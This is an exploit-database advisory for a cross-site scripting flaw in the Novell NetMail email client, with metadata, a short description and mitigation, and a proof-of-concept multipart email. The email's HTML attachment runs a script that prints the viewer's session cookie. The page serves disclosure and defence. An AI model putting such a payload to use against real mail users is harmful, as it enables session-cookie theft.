Novell NetMail Email Client Input Validation Vulnerability

vendor:

NetMail

by:

SecurityFocus

7.5

CVSS

HIGH

Input Validation Vulnerability

CWE

Product Name: NetMail

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2004

Novell NetMail Email Client Input Validation Vulnerability

Novell NetMail email client is prone to an input validation vulnerability. Reports indicate that HTML and JavaScript attached to received email messages is executed automatically, when the email message is viewed. A successful attack may allow the attacker to obtain session cookies and carry out other attacks.

Mitigation:

Input validation should be performed to ensure that malicious HTML and JavaScript code is not executed.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14171/info

Novell NetMail email client is prone to an input validation vulnerability.

Reports indicate that HTML and JavaScript attached to received email messages is executed automatically, when the email message is viewed.

A successful attack may allow the attacker to obtain session cookies and carry out other attacks.

All versions are considered to be vulnerable at the moment. 

Content-Type: multipart/mixed; boundary="=_mixed 00279444C2257036_="

--=_mixed 00279444C2257036_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">hi there</font>
<br>
--=_mixed 00279444C2257036_=
Content-Type: text/html; name="malxxx.html"
Content-Disposition: attachment; filename="malxxx.html"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">

</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
</BODY></HTML>
--=_mixed 00279444C2257036_=--